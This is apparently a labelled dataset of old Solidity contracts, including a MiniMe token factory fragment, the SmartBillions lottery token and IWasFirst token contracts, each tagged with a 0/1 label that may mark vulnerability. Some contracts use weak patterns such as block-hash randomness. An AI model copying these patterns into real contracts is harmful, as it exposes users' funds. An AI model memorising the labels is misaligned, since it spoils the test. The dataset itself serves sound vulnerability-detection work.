if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
} | 1 | 2,803 |
pragma solidity ^0.4.17;
library SafeMath {
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint public totalSupply;
address public owner;
address public animator;
function balanceOf(address who) constant public returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
function commitDividend(address who) internal;
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
commitDividend(msg.sender);
balances[msg.sender] = balances[msg.sender].sub(_value);
if(_to == address(this)) {
commitDividend(owner);
balances[owner] = balances[owner].add(_value);
Transfer(msg.sender, owner, _value);
}
else {
commitDividend(_to);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
}
function balanceOf(address _owner) constant public returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
commitDividend(_from);
commitDividend(_to);
allowed[_from][msg.sender] = _allowance.sub(_value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) public {
assert(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant public returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract SmartBillions is StandardToken {
string public constant name = "SmartBillions Token";
string public constant symbol = "Smart";
uint public constant decimals = 0;
struct Wallet {
uint208 balance;
uint16 lastDividendPeriod;
uint32 nextWithdrawTime;
}
mapping (address => Wallet) wallets;
struct Bet {
uint192 value;
uint32 betHash;
uint32 blockNum;
}
mapping (address => Bet) bets;
uint public walletBalance = 0;
uint public investStart = 1;
uint public investBalance = 0;
uint public investBalanceGot = 0;
uint public investBalanceMax = 200000 ether;
uint public dividendPeriod = 1;
uint[] public dividends;
uint public maxWin = 0;
uint public hashFirst = 0;
uint public hashLast = 0;
uint public hashNext = 0;
uint public hashBetSum = 0;
uint public hashBetMax = 5 ether;
uint[] public hashes;
uint public constant hashesSize = 16384 ;
uint public coldStoreLast = 0 ;
event LogBet(address indexed player, uint bethash, uint blocknumber, uint betsize);
event LogLoss(address indexed player, uint bethash, uint hash);
event LogWin(address indexed player, uint bethash, uint hash, uint prize);
event LogInvestment(address indexed investor, address indexed partner, uint amount);
event LogRecordWin(address indexed player, uint amount);
event LogLate(address indexed player,uint playerBlockNumber,uint currentBlockNumber);
event LogDividend(address indexed investor, uint amount, uint period);
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
modifier onlyAnimator() {
assert(msg.sender == animator);
_;
}
function SmartBillions() public {
owner = msg.sender;
animator = msg.sender;
wallets[owner].lastDividendPeriod = uint16(dividendPeriod);
dividends.push(0);
dividends.push(0);
}
function hashesLength() constant external returns (uint) {
return uint(hashes.length);
}
function walletBalanceOf(address _owner) constant external returns (uint) {
return uint(wallets[_owner].balance);
}
function walletPeriodOf(address _owner) constant external returns (uint) {
return uint(wallets[_owner].lastDividendPeriod);
}
function walletTimeOf(address _owner) constant external returns (uint) {
return uint(wallets[_owner].nextWithdrawTime);
}
function betValueOf(address _owner) constant external returns (uint) {
return uint(bets[_owner].value);
}
function betHashOf(address _owner) constant external returns (uint) {
return uint(bets[_owner].betHash);
}
function betBlockNumberOf(address _owner) constant external returns (uint) {
return uint(bets[_owner].blockNum);
}
function dividendsBlocks() constant external returns (uint) {
if(investStart > 0) {
return(0);
}
uint period = (block.number - hashFirst) / (10 * hashesSize);
if(period > dividendPeriod) {
return(0);
}
return((10 * hashesSize) - ((block.number - hashFirst) % (10 * hashesSize)));
}
function changeOwner(address _who) external onlyOwner {
assert(_who != address(0));
commitDividend(msg.sender);
commitDividend(_who);
owner = _who;
}
function changeAnimator(address _who) external onlyAnimator {
assert(_who != address(0));
commitDividend(msg.sender);
commitDividend(_who);
animator = _who;
}
function setInvestStart(uint _when) external onlyOwner {
require(investStart == 1 && hashFirst > 0 && block.number < _when);
investStart = _when;
}
function setBetMax(uint _maxsum) external onlyOwner {
hashBetMax = _maxsum;
}
function resetBet() external onlyOwner {
hashNext = block.number + 3;
hashBetSum = 0;
}
function coldStore(uint _amount) external onlyOwner {
houseKeeping();
require(_amount > 0 && this.balance >= (investBalance * 9 / 10) + walletBalance + _amount);
if(investBalance >= investBalanceGot / 2){
require((_amount <= this.balance / 400) && coldStoreLast + 60 * 60 * 24 * 7 <= block.timestamp);
}
msg.sender.transfer(_amount);
coldStoreLast = block.timestamp;
}
function hotStore() payable external {
walletBalance += msg.value;
wallets[msg.sender].balance += uint208(msg.value);
houseKeeping();
}
function houseKeeping() public {
if(investStart > 1 && block.number >= investStart + (hashesSize * 5)){
investStart = 0;
}
else {
if(hashFirst > 0){
uint period = (block.number - hashFirst) / (10 * hashesSize );
if(period > dividends.length - 2) {
dividends.push(0);
}
if(period > dividendPeriod && investStart == 0 && dividendPeriod < dividends.length - 1) {
dividendPeriod++;
}
}
}
}
function payWallet() public {
if(wallets[msg.sender].balance > 0 && wallets[msg.sender].nextWithdrawTime <= block.timestamp){
uint balance = wallets[msg.sender].balance;
wallets[msg.sender].balance = 0;
walletBalance -= balance;
pay(balance);
}
}
function pay(uint _amount) private {
uint maxpay = this.balance / 2;
if(maxpay >= _amount) {
msg.sender.transfer(_amount);
if(_amount > 1 finney) {
houseKeeping();
}
}
else {
uint keepbalance = _amount - maxpay;
walletBalance += keepbalance;
wallets[msg.sender].balance += uint208(keepbalance);
wallets[msg.sender].nextWithdrawTime = uint32(block.timestamp + 60 * 60 * 24 * 30);
msg.sender.transfer(maxpay);
}
}
function investDirect() payable external {
invest(owner);
}
function invest(address _partner) payable public {
require(investStart > 1 && block.number < investStart + (hashesSize * 5) && investBalance < investBalanceMax);
uint investing = msg.value;
if(investing > investBalanceMax - investBalance) {
investing = investBalanceMax - investBalance;
investBalance = investBalanceMax;
investBalanceGot = investBalanceMax;
investStart = 0;
msg.sender.transfer(msg.value.sub(investing));
}
else{
investBalance += investing;
investBalanceGot += investing;
}
if(_partner == address(0) || _partner == owner){
walletBalance += investing / 10;
wallets[owner].balance += uint208(investing / 10);}
else{
walletBalance += (investing * 5 / 100) * 2;
wallets[owner].balance += uint208(investing * 5 / 100);
wallets[_partner].balance += uint208(investing * 5 / 100);}
wallets[msg.sender].lastDividendPeriod = uint16(dividendPeriod);
uint senderBalance = investing / 10**15;
uint ownerBalance = investing * 16 / 10**17 ;
uint animatorBalance = investing * 10 / 10**17 ;
balances[msg.sender] += senderBalance;
balances[owner] += ownerBalance ;
balances[animator] += animatorBalance ;
totalSupply += senderBalance + ownerBalance + animatorBalance;
Transfer(address(0),msg.sender,senderBalance);
Transfer(address(0),owner,ownerBalance);
Transfer(address(0),animator,animatorBalance);
LogInvestment(msg.sender,_partner,investing);
}
function disinvest() external {
require(investStart == 0);
commitDividend(msg.sender);
uint initialInvestment = balances[msg.sender] * 10**15;
Transfer(msg.sender,address(0),balances[msg.sender]);
delete balances[msg.sender];
investBalance -= initialInvestment;
wallets[msg.sender].balance += uint208(initialInvestment * 9 / 10);
payWallet();
}
function payDividends() external {
require(investStart == 0);
commitDividend(msg.sender);
payWallet();
}
function commitDividend(address _who) internal {
uint last = wallets[_who].lastDividendPeriod;
if((balances[_who]==0) || (last==0)){
wallets[_who].lastDividendPeriod=uint16(dividendPeriod);
return;
}
if(last==dividendPeriod) {
return;
}
uint share = balances[_who] * 0xffffffff / totalSupply;
uint balance = 0;
for(;last<dividendPeriod;last++) {
balance += share * dividends[last];
}
balance = (balance / 0xffffffff);
walletBalance += balance;
wallets[_who].balance += uint208(balance);
wallets[_who].lastDividendPeriod = uint16(last);
LogDividend(_who,balance,last);
}
function betPrize(Bet _player, uint24 _hash) constant private returns (uint) {
uint24 bethash = uint24(_player.betHash);
uint24 hit = bethash ^ _hash;
uint24 matches =
((hit & 0xF) == 0 ? 1 : 0 ) +
((hit & 0xF0) == 0 ? 1 : 0 ) +
((hit & 0xF00) == 0 ? 1 : 0 ) +
((hit & 0xF000) == 0 ? 1 : 0 ) +
((hit & 0xF0000) == 0 ? 1 : 0 ) +
((hit & 0xF00000) == 0 ? 1 : 0 );
if(matches == 6){
return(uint(_player.value) * 7000000);
}
if(matches == 5){
return(uint(_player.value) * 20000);
}
if(matches == 4){
return(uint(_player.value) * 500);
}
if(matches == 3){
return(uint(_player.value) * 25);
}
if(matches == 2){
return(uint(_player.value) * 3);
}
return(0);
}
function betOf(address _who) constant external returns (uint) {
Bet memory player = bets[_who];
if( (player.value==0) ||
(player.blockNum<=1) ||
(block.number<player.blockNum) ||
(block.number>=player.blockNum + (10 * hashesSize))){
return(0);
}
if(block.number<player.blockNum+256){
return(betPrize(player,uint24(block.blockhash(player.blockNum))));
}
if(hashFirst>0){
uint32 hash = getHash(player.blockNum);
if(hash == 0x1000000) {
return(uint(player.value));
}
else{
return(betPrize(player,uint24(hash)));
}
}
return(0);
}
function won() public {
Bet memory player = bets[msg.sender];
if(player.blockNum==0){
bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1});
return;
}
if((player.value==0) || (player.blockNum==1)){
payWallet();
return;
}
require(block.number>player.blockNum);
if(player.blockNum + (10 * hashesSize) <= block.number){
LogLate(msg.sender,player.blockNum,block.number);
bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1});
return;
}
uint prize = 0;
uint32 hash = 0;
if(block.number<player.blockNum+256){
hash = uint24(block.blockhash(player.blockNum));
prize = betPrize(player,uint24(hash));
}
else {
if(hashFirst>0){
hash = getHash(player.blockNum);
if(hash == 0x1000000) {
LogLate(msg.sender,player.blockNum,block.number);
bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1});
return();
}
else{
prize = betPrize(player,uint24(hash));
}
}
else{
LogLate(msg.sender,player.blockNum,block.number);
bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1});
return();
}
}
bets[msg.sender] = Bet({value: 0, betHash: 0, blockNum: 1});
if(prize>0) {
LogWin(msg.sender,uint(player.betHash),uint(hash),prize);
if(prize > maxWin){
maxWin = prize;
LogRecordWin(msg.sender,prize);
}
pay(prize);
}
else{
LogLoss(msg.sender,uint(player.betHash),uint(hash));
}
}
function () payable external {
if(msg.value > 0){
if(investStart>1){
invest(owner);
}
else{
play();
}
return;
}
if(investStart == 0 && balances[msg.sender]>0){
commitDividend(msg.sender);}
won();
}
function play() payable public returns (uint) {
return playSystem(uint(keccak256(msg.sender,block.number)), address(0));
}
function playRandom(address _partner) payable public returns (uint) {
return playSystem(uint(keccak256(msg.sender,block.number)), _partner);
}
function playSystem(uint _hash, address _partner) payable public returns (uint) {
won();
uint24 bethash = uint24(_hash);
require(msg.value <= 1 ether && msg.value < hashBetMax);
if(msg.value > 0){
if(investStart==0) {
dividends[dividendPeriod] += msg.value / 20;
}
if(_partner != address(0)) {
uint fee = msg.value / 100;
walletBalance += fee;
wallets[_partner].balance += uint208(fee);
}
if(hashNext < block.number + 3) {
hashNext = block.number + 3;
hashBetSum = msg.value;
}
else{
if(hashBetSum > hashBetMax) {
hashNext++;
hashBetSum = msg.value;
}
else{
hashBetSum += msg.value;
}
}
bets[msg.sender] = Bet({value: uint192(msg.value), betHash: uint32(bethash), blockNum: uint32(hashNext)});
LogBet(msg.sender,uint(bethash),hashNext,msg.value);
}
putHashes(25);
return(hashNext);
}
function addHashes(uint _sadd) public returns (uint) {
require(hashFirst == 0 && _sadd > 0 && _sadd <= hashesSize);
uint n = hashes.length;
if(n + _sadd > hashesSize){
hashes.length = hashesSize;
}
else{
hashes.length += _sadd;
}
for(;n<hashes.length;n++){
hashes[n] = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
}
if(hashes.length>=hashesSize) {
hashFirst = block.number - ( block.number % 10);
hashLast = hashFirst;
}
return(hashes.length);
}
function addHashes128() external returns (uint) {
return(addHashes(128));
}
function calcHashes(uint32 _lastb, uint32 _delta) constant private returns (uint) {
return( ( uint(block.blockhash(_lastb )) & 0xFFFFFF )
| ( ( uint(block.blockhash(_lastb+1)) & 0xFFFFFF ) << 24 )
| ( ( uint(block.blockhash(_lastb+2)) & 0xFFFFFF ) << 48 )
| ( ( uint(block.blockhash(_lastb+3)) & 0xFFFFFF ) << 72 )
| ( ( uint(block.blockhash(_lastb+4)) & 0xFFFFFF ) << 96 )
| ( ( uint(block.blockhash(_lastb+5)) & 0xFFFFFF ) << 120 )
| ( ( uint(block.blockhash(_lastb+6)) & 0xFFFFFF ) << 144 )
| ( ( uint(block.blockhash(_lastb+7)) & 0xFFFFFF ) << 168 )
| ( ( uint(block.blockhash(_lastb+8)) & 0xFFFFFF ) << 192 )
| ( ( uint(block.blockhash(_lastb+9)) & 0xFFFFFF ) << 216 )
| ( ( uint(_delta) / hashesSize) << 240));
}
function getHash(uint _block) constant private returns (uint32) {
uint delta = (_block - hashFirst) / 10;
uint hash = hashes[delta % hashesSize];
if(delta / hashesSize != hash >> 240) {
return(0x1000000);
}
uint slotp = (_block - hashFirst) % 10;
return(uint32((hash >> (24 * slotp)) & 0xFFFFFF));
}
function putHash() public returns (bool) {
uint lastb = hashLast;
if(lastb == 0 || block.number <= lastb + 10) {
return(false);
}
if(lastb < block.number - 245) {
uint num = block.number - 245;
lastb = num - (num % 10);
}
uint delta = (lastb - hashFirst) / 10;
hashes[delta % hashesSize] = calcHashes(uint32(lastb),uint32(delta));
hashLast = lastb + 10;
return(true);
}
function putHashes(uint _num) public {
uint n=0;
for(;n<_num;n++){
if(!putHash()){
return;
}
}
}
} | 0 | 1,905 |
pragma solidity 0.4.21;
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping (address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract IWasFirstServiceToken is StandardToken, Ownable {
string public constant NAME = "IWasFirstServiceToken";
string public constant SYMBOL = "IWF";
uint8 public constant DECIMALS = 18;
uint256 public constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(DECIMALS));
address fungibleTokenAddress;
address shareTokenAddress;
function IWasFirstServiceToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function getFungibleTokenAddress() public view returns (address) {
return fungibleTokenAddress;
}
function setFungibleTokenAddress(address _address) onlyOwner() public {
require(fungibleTokenAddress == address(0));
fungibleTokenAddress = _address;
}
function getShareTokenAddress() public view returns (address) {
return shareTokenAddress;
}
function setShareTokenAddress(address _address) onlyOwner() public {
require(shareTokenAddress == address(0));
shareTokenAddress = _address;
}
function transferByRelatedToken(address _from, address _to, uint256 _value) public returns (bool) {
require(msg.sender == fungibleTokenAddress || msg.sender == shareTokenAddress);
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
}
contract IWasFirstFungibleToken is ERC721Token("IWasFirstFungible", "IWX"), Ownable {
struct TokenMetaData {
uint creationTime;
string creatorMetadataJson;
}
address _serviceTokenAddress;
address _shareTokenAddress;
mapping (uint256 => string) internal tokenHash;
mapping (string => uint256) internal tokenIdOfHash;
uint256 internal tokenIdSeq = 1;
mapping (uint256 => TokenMetaData[]) internal tokenMetaData;
function hashExists(string hash) public view returns (bool) {
return tokenIdOfHash[hash] != 0;
}
function mint(string hash, string creatorMetadataJson) external {
require(!hashExists(hash));
uint256 currentTokenId = tokenIdSeq;
tokenIdSeq = tokenIdSeq + 1;
IWasFirstServiceToken serviceToken = IWasFirstServiceToken(_serviceTokenAddress);
serviceToken.transferByRelatedToken(msg.sender, _shareTokenAddress, 10 ** uint256(serviceToken.DECIMALS()));
tokenHash[currentTokenId] = hash;
tokenIdOfHash[hash] = currentTokenId;
tokenMetaData[currentTokenId].push(TokenMetaData(now, creatorMetadataJson));
super._mint(msg.sender, currentTokenId);
}
function getTokenCreationTime(string hash) public view returns(uint) {
require(hashExists(hash));
uint length = tokenMetaData[tokenIdOfHash[hash]].length;
return tokenMetaData[tokenIdOfHash[hash]][length-1].creationTime;
}
function getCreatorMetadata(string hash) public view returns(string) {
require(hashExists(hash));
uint length = tokenMetaData[tokenIdOfHash[hash]].length;
return tokenMetaData[tokenIdOfHash[hash]][length-1].creatorMetadataJson;
}
function getMetadataHistoryLength(string hash) public view returns(uint) {
if(hashExists(hash)) {
return tokenMetaData[tokenIdOfHash[hash]].length;
} else {
return 0;
}
}
function getCreationDateOfHistoricalMetadata(string hash, uint index) public view returns(uint) {
require(hashExists(hash));
return tokenMetaData[tokenIdOfHash[hash]][index].creationTime;
}
function getCreatorMetadataOfHistoricalMetadata(string hash, uint index) public view returns(string) {
require(hashExists(hash));
return tokenMetaData[tokenIdOfHash[hash]][index].creatorMetadataJson;
}
function updateMetadata(string hash, string creatorMetadataJson) public {
require(hashExists(hash));
require(ownerOf(tokenIdOfHash[hash]) == msg.sender);
tokenMetaData[tokenIdOfHash[hash]].push(TokenMetaData(now, creatorMetadataJson));
}
function getTokenIdByHash(string hash) public view returns(uint256) {
require(hashExists(hash));
return tokenIdOfHash[hash];
}
function getHashByTokenId(uint256 tokenId) public view returns(string) {
require(exists(tokenId));
return tokenHash[tokenId];
}
function getNumberOfTokens() public view returns(uint) {
return allTokens.length;
}
function setServiceTokenAddress(address serviceTokenAdress) onlyOwner() public {
require(_serviceTokenAddress == address(0));
_serviceTokenAddress = serviceTokenAdress;
}
function getServiceTokenAddress() public view returns(address) {
return _serviceTokenAddress;
}
function setShareTokenAddress(address shareTokenAdress) onlyOwner() public {
require(_shareTokenAddress == address(0));
_shareTokenAddress = shareTokenAdress;
}
function getShareTokenAddress() public view returns(address) {
return _shareTokenAddress;
}
} | 1 | 3,290 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
